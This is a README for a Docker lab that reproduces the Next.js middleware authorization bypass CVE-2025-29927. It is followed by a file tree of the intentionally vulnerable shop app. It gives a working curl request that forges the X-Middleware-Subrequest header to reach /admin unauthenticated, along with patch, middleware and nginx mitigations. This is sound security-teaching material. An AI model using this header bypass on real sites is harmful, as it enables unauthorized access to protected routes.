```markdown
# π¨ NextJS-CVE-2025-29927-Docker-Lab
This repository contains a **Docker-based lab** environment to explore and demonstrate the **Next.js CVE-2025-29927** vulnerability in a controlled setting.
> β οΈ **DISCLAIMER:** This lab is for educational and security research purposes only. Do not expose it to the public internet or use it in production.
---
## π¦ Features
- β
Vulnerable Next.js application
- β
Containerized with Docker
- β
Designed for local testing of CVE-2025-29927
- β
Includes pre-configured routes and UI
- β
Easy to set up and run
---
## π Prerequisites
Ensure you have the following installed:
- [Docker](https://www.docker.com/products/docker-desktop) (v20+)
- [Git](https://git-scm.com/downloads)
- Optional: [Node.js](https://nodejs.org/) if you plan to run outside Docker
---
## π Getting Started
Follow these steps to clone and run the lab:
### 1. Clone the Repository
```bash
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
```
### 2. Build and Run with Docker
```bash
docker-compose up --build
```
This will:
- Build the Docker image
- Start the vulnerable Next.js server
- Expose the app at [http://localhost:3000](http://localhost:3000)
---
## π Folder Structure
```
.
βββ app/ # Main Next.js app code
βββ public/ # Static assets (images, etc.)
βββ Dockerfile # Docker setup for app
βββ docker-compose.yml # Compose configuration
βββ .env # Environment variables (if any)
βββ README.md # You are here
```
---
## π§ͺ Testing the Vulnerability
# π‘οΈ CVE-2025-29927 - Next.js Middleware Authorization Bypass
> β οΈ **WARNING**: This documentation is for **educational and security research purposes** only. Do not deploy the vulnerable app in a production environment.
---
## π Overview
**CVE-2025-29927** is a critical authorization bypass vulnerability in Next.js middleware. It allows attackers to skip middleware-based authentication and access protected routes by manipulating the `X-Middleware-Subrequest` header.
---
## π§ͺ Reproducing the Vulnerability
### 1. Accessing Protected Routes Without Authentication
Attempt to access a protected route, such as `/admin`, without any authentication:
```bash
curl http://localhost:3000/admin
```
**Expected Behavior**: Access is denied or redirected to an unauthorized page.
**Vulnerable Behavior**: Access is granted without authentication.
### 2. Bypassing Middleware Using `X-Middleware-Subrequest` Header
Send a request with the `X-Middleware-Subrequest` header to bypass middleware checks:
```bash
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
```
**Result**: Middleware is bypassed, and access to the protected route is granted.
---
## π‘οΈ Mitigation Strategies
### 1. Upgrade Next.js to a Patched Version
Update Next.js to one of the following versions where the vulnerability is fixed:
* 14.2.25
* 15.2.3
```bash
npm install next@latest
```
### 2. Implement Middleware Hardening
Enhance your middleware to validate requests properly and reject any with suspicious headers:
```javascript
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continue with normal processing
return NextResponse.next();
}
```
### 3. Configure Reverse Proxy to Strip Suspicious Headers
If you're using a reverse proxy (e.g., Nginx), configure it to remove the `X-Middleware-Subrequest` header from incoming requests:
```nginx
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
```
---
## π References
* [NVD - CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927)
* [Datadog Security Labs Analysis](https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-bypass/)
* [Vercel Postmortem](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass)
This `VULNERABILITY.md` file provides a comprehensive guide to understanding and reproducing the CVE-2025-29927 vulnerability in a controlled environment. It also offers practical mitigation strategies to secure your Next.js applications against such exploits.
For a detailed demonstration and further insights into this vulnerability, you can refer to the full attack demo provided by Techtalkpine on the blog post which also is linked to the Youtube live demo: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
Let me know if you need assistance with any specific part of this setup or further clarification on the mitigation steps.
```
---
## π§Ή Tear Down
To stop and remove containers:
```bash
docker-compose down
```
---
## π Resources
- [Next.js Docs](https://nextjs.org/docs)
- [Docker Docs](https://docs.docker.com/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
---
## β οΈ Legal Disclaimer
This project is intended solely for educational and research purposes. You are responsible for using it in accordance with all applicable laws and ethical guidelines. The author is not liable for any misuse or damage caused.
[4.0K] /data/pocs/c893a1666a57a0591be271e2ed7d8cd0d0e2a41e
βββ [ 647] docker-compose.yml
βββ [ 465] Dockerfile
βββ [ 77] jsconfig.json
βββ [4.0K] mysql-init
βΒ Β βββ [2.9K] 00_init_and_load.sql
βΒ Β βββ [ 295] addresses.csv
βΒ Β βββ [ 65] cart.csv
βΒ Β βββ [ 40] order_items.csv
βΒ Β βββ [ 108] orders.csv
βΒ Β βββ [ 130] products.csv
βΒ Β βββ [ 69] shipping_addresses.csv
βΒ Β βββ [ 992] users.csv
βββ [ 106] next.config.js
βββ [ 895] package.json
βββ [419K] package-lock.json
βββ [ 82] postcss.config.js
βββ [4.0K] public
βΒ Β βββ [ 295] addresses.csv
βΒ Β βββ [ 65] cart.csv
βΒ Β βββ [4.0K] images
βΒ Β βΒ Β βββ [ 26M] 01.png
βΒ Β βΒ Β βββ [ 30M] 02.png
βΒ Β βΒ Β βββ [ 33M] 03.png
βΒ Β βΒ Β βββ [ 13M] 04.png
βΒ Β βΒ Β βββ [4.0K] kids
βΒ Β βΒ Β βΒ Β βββ [ 50K] kids1.jpg
βΒ Β βΒ Β βΒ Β βββ [ 49K] kids2.jpg
βΒ Β βΒ Β βΒ Β βββ [ 51K] kids3.jpg
βΒ Β βΒ Β βΒ Β βββ [ 63K] kids4.jpg
βΒ Β βΒ Β βΒ Β βββ [ 84K] kids5.jpg
βΒ Β βΒ Β βΒ Β βββ [ 87K] kids6.jpg
βΒ Β βΒ Β βΒ Β βββ [ 44K] kids7.jpg
βΒ Β βΒ Β βββ [4.0K] men
βΒ Β βΒ Β βΒ Β βββ [ 66K] men1.jpg
βΒ Β βΒ Β βΒ Β βββ [ 32K] men2.jpg
βΒ Β βΒ Β βΒ Β βββ [163K] men3.jpg
βΒ Β βΒ Β βΒ Β βββ [ 59K] men4.jpg
βΒ Β βΒ Β βΒ Β βββ [122K] men5.jpg
βΒ Β βΒ Β βΒ Β βββ [ 67K] men6.jpg
βΒ Β βΒ Β βΒ Β βββ [ 43K] men7.jpg
βΒ Β βΒ Β βΒ Β βββ [ 22K] men8.jpg
βΒ Β βΒ Β βββ [4.0K] women
βΒ Β βΒ Β βββ [ 32K] women1.jpg
βΒ Β βΒ Β βββ [ 93K] women2.jpg
βΒ Β βΒ Β βββ [ 62K] women3.jpg
βΒ Β βΒ Β βββ [110K] women4.jpg
βΒ Β βΒ Β βββ [ 20K] women5.jpg
βΒ Β βΒ Β βββ [ 26K] women6.jpg
βΒ Β βΒ Β βββ [ 59K] women7.jpg
βΒ Β βΒ Β βββ [ 30K] women8.jpg
βΒ Β βββ [1.3K] next.svg
βΒ Β βββ [ 40] order_items.csv
βΒ Β βββ [ 108] orders.csv
βΒ Β βββ [ 130] products.csv
βΒ Β βββ [ 69] shipping_addresses.csv
βΒ Β βββ [ 992] users.csv
βΒ Β βββ [ 629] vercel.svg
βββ [5.3K] README.md
βββ [4.0K] src
βΒ Β βββ [4.0K] app
βΒ Β βΒ Β βββ [4.0K] account
βΒ Β βΒ Β βΒ Β βββ [8.1K] page.js
βΒ Β βΒ Β βββ [4.0K] admin
βΒ Β βΒ Β βΒ Β βββ [1.1K] page.js
βΒ Β βΒ Β βββ [4.0K] admin-view
βΒ Β βΒ Β βΒ Β βββ [4.0K] add-product
βΒ Β βΒ Β βΒ Β βΒ Β βββ [2.6K] page.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] all-products
βΒ Β βΒ Β βΒ Β βΒ Β βββ [ 302] page.js
βΒ Β βΒ Β βΒ Β βββ [ 205] layout.js
βΒ Β βΒ Β βΒ Β βββ [6.5K] page.js
βΒ Β βΒ Β βββ [4.0K] api
βΒ Β βΒ Β βΒ Β βββ [4.0K] address
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] add-new-address
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [2.5K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] delete-address
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.2K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] get-all-address
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [2.6K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] update-address
βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.2K] route.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] admin
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] all-products
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [ 763] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] delete-product
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.2K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] orders
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] get-all-orders
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.1K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] update-order
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.4K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] product-by-category
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [ 801] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] product-by-id
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [ 969] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] update-product
βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.5K] route.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] cart
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] add-to-cart
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.9K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] all-cart-items
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.2K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] delete-from-cart
βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.2K] route.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] login
βΒ Β βΒ Β βΒ Β βΒ Β βββ [2.2K] route.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] order
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] create-order
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.1K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] get-all-orders
βΒ Β βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.1K] route.js
βΒ Β βΒ Β βΒ Β βΒ Β βββ [4.0K] order-details
βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.2K] route.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] register
βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.8K] route.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] stripe
βΒ Β βΒ Β βΒ Β βββ [1.1K] route.js
βΒ Β βΒ Β βββ [4.0K] cart
βΒ Β βΒ Β βΒ Β βββ [2.5K] page.js
βΒ Β βΒ Β βββ [4.0K] checkout
βΒ Β βΒ Β βΒ Β βββ [9.9K] page.js
βΒ Β βΒ Β βββ [ 25K] favicon.ico
βΒ Β βΒ Β βββ [ 652] globals.css
βΒ Β βΒ Β βββ [ 595] layout.js
βΒ Β βΒ Β βββ [4.0K] login
βΒ Β βΒ Β βΒ Β βββ [5.1K] page.js
βΒ Β βΒ Β βββ [1.8K] middleware.js
βΒ Β βΒ Β βββ [4.0K] orders
βΒ Β βΒ Β βΒ Β βββ [4.0K] [order-details]
βΒ Β βΒ Β βΒ Β βΒ Β βββ [7.2K] page.js
βΒ Β βΒ Β βΒ Β βββ [4.4K] page.js
βΒ Β βΒ Β βββ [7.0K] page.js
βΒ Β βΒ Β βββ [4.0K] product
βΒ Β βΒ Β βΒ Β βββ [4.0K] [details]
βΒ Β βΒ Β βΒ Β βΒ Β βββ [ 360] page.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] listing
βΒ Β βΒ Β βΒ Β βββ [4.0K] all-products
βΒ Β βΒ Β βΒ Β βΒ Β βββ [2.9K] page.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] kids
βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.7K] page.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] men
βΒ Β βΒ Β βΒ Β βΒ Β βββ [1.7K] page.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] women
βΒ Β βΒ Β βΒ Β βββ [1.7K] page.js
βΒ Β βΒ Β βββ [4.0K] register
βΒ Β βΒ Β βΒ Β βββ [5.2K] page.js
βΒ Β βΒ Β βββ [4.0K] unauthorized-page
βΒ Β βΒ Β βββ [1016] page.js
βΒ Β βββ [4.0K] assets
βΒ Β βΒ Β βββ [ 26M] 01.png
βΒ Β βΒ Β βββ [ 25M] 02.png
βΒ Β βΒ Β βββ [ 33M] 03.png
βΒ Β βΒ Β βββ [ 10M] 04.png
βΒ Β βββ [4.0K] components
βΒ Β βΒ Β βββ [ 880] AdminProtector.js
βΒ Β βΒ Β βββ [4.0K] CartModal
βΒ Β βΒ Β βΒ Β βββ [5.7K] index.js
βΒ Β βΒ Β βββ [4.0K] CommonCart
βΒ Β βΒ Β βΒ Β βββ [5.7K] index.js
βΒ Β βΒ Β βββ [4.0K] CommonDetails
βΒ Β βΒ Β βΒ Β βββ [5.3K] index.js
βΒ Β βΒ Β βββ [4.0K] CommonListing
βΒ Β βΒ Β βΒ Β βββ [1.0K] index.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] ProductButtons
βΒ Β βΒ Β βΒ Β βΒ Β βββ [3.3K] index.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] ProductTile
βΒ Β βΒ Β βΒ Β βββ [1.5K] index.js
βΒ Β βΒ Β βββ [4.0K] CommonModal
βΒ Β βΒ Β βΒ Β βββ [2.2K] index.js
βΒ Β βΒ Β βββ [4.0K] FormElements
βΒ Β βΒ Β βΒ Β βββ [4.0K] InputComponent
βΒ Β βΒ Β βΒ Β βΒ Β βββ [ 610] index.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] SelectComponent
βΒ Β βΒ Β βΒ Β βΒ Β βββ [ 940] index.js
βΒ Β βΒ Β βΒ Β βββ [4.0K] TileComponent
βΒ Β βΒ Β βΒ Β βββ [ 930] index.js
βΒ Β βΒ Β βββ [4.0K] Loader
βΒ Β βΒ Β βΒ Β βββ [4.0K] componentlevel
βΒ Β βΒ Β βΒ Β βββ [ 362] index.js
βΒ Β βΒ Β βββ [4.0K] Navbar
βΒ Β βΒ Β βΒ Β βββ [6.3K] index.js
βΒ Β βΒ Β βββ [4.0K] Notification
βΒ Β βΒ Β βββ [ 405] index.js
βΒ Β βββ [4.0K] context
βΒ Β βΒ Β βββ [3.7K] index.js
βΒ Β βββ [4.0K] database
βΒ Β βΒ Β βββ [ 942] index.js
βΒ Β βββ [4.0K] middleware
βΒ Β βΒ Β βββ [ 863] AuthUser.js
βΒ Β βββ [1.9K] middleware.js
βΒ Β βββ [4.0K] models
βΒ Β βΒ Β βββ [2.4K] address.js
βΒ Β βΒ Β βββ [2.5K] cart.js
βΒ Β βΒ Β βββ [3.8K] order.js
βΒ Β βΒ Β βββ [2.7K] product.js
βΒ Β βΒ Β βββ [1.4K] user.js
βΒ Β βββ [4.0K] services
βΒ Β βΒ Β βββ [4.0K] address
βΒ Β βΒ Β βΒ Β βββ [1.8K] index.js
βΒ Β βΒ Β βββ [4.0K] cart
βΒ Β βΒ Β βΒ Β βββ [1.1K] index.js
βΒ Β βΒ Β βββ [4.0K] login
βΒ Β βΒ Β βΒ Β βββ [1.0K] index.js
βΒ Β βΒ Β βββ [4.0K] order
βΒ Β βΒ Β βΒ Β βββ [1.8K] index.js
βΒ Β βΒ Β βββ [4.0K] product
βΒ Β βΒ Β βΒ Β βββ [2.1K] index.js
βΒ Β βΒ Β βββ [4.0K] register
βΒ Β βΒ Β βΒ Β βββ [ 372] index.js
βΒ Β βΒ Β βββ [4.0K] stripe
βΒ Β βΒ Β βββ [ 434] index.js
βΒ Β βββ [4.0K] utils
βΒ Β βββ [ 313] cookies.js
βΒ Β βββ [4.1K] index.js
βββ [ 480] tailwind.config.js
βββ [3.6K] VULNERABILITY.md
83 directories, 133 files